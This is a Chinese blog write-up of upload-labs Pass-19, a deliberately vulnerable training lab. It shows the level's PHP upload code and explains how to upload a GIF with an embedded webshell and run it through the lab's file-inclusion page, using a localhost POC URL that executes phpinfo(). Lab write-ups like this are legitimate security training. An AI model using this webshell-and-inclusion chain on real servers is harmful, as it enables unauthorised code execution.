赞
踩
读者可参考、订阅专栏:Upload-Labs靶场攻防实战
蚁剑工具的使用可参考:
[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集
本关修改myupload.php中代码为下图:
后端逻辑代码:
<?php include '../config.php'; include '../head.php'; include '../menu.php'; $is_upload = false; $msg = null; if (isset($_POST['submit'])) { require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已经被上传,但没有重命名。'; break; case -1: $msg = '这个文件不能上传到服务器的临时文件存储目录。'; break; case -2: $msg = '上传失败,上传目录不可写。'; break; case -3: $msg = '上传失败,无法上传该类型文件。'; break; case -4: $msg = '上传失败,上传的文件过大。'; break; case -5: $msg = '上传失败,服务器已经存在相同名称文件。'; break; case -6: $msg = '文件无法上传,文件不能复制到目标目录。'; break; default: $msg = '未知错误!'; break; } } ?> <div id="upload_panel"> <ol> <li> <h3>任务</h3> <p>上传一个<code>webshell</code>到服务器。</p> </li> <li> <h3>上传区</h3> <form enctype="multipart/form-data" method="post"> <p>请选择要上传的图片:<p> <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="上传"/> </form> <div id="msg"> <?php if($msg != null){ echo "提示:".$msg; } ?> </div> <div id="img"> <?php if($is_upload){ echo '<img src="'.$img_path.'" width="250px" />'; } ?> </div> </li> <?php if($_GET['action'] == "show_code"){ include 'show_code.php'; } ?> </ol> </div> <?php include '../footer.php'; ?>
可使用图片码绕过
上传一个含有木马的gif文件:
打开图像连接获得图片路径:
靶场提供文件包含漏洞:
于是可以利用文件包含漏洞进行命令执行:
POC:
http://localhost/upload-labs-master/include.php?file=upload/1692794817.gif&1=phpinfo();
回显如下:
该题也可使用条件竞争来完成
具体操作参考: [网络安全]upload-labs Pass-18 解题详析
以上为[网络安全]upload-labs Pass-19 解题详析,后续将分享[网络安全]xss-labs Pass-20 解题详析。
我是秋说,我们下次见。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。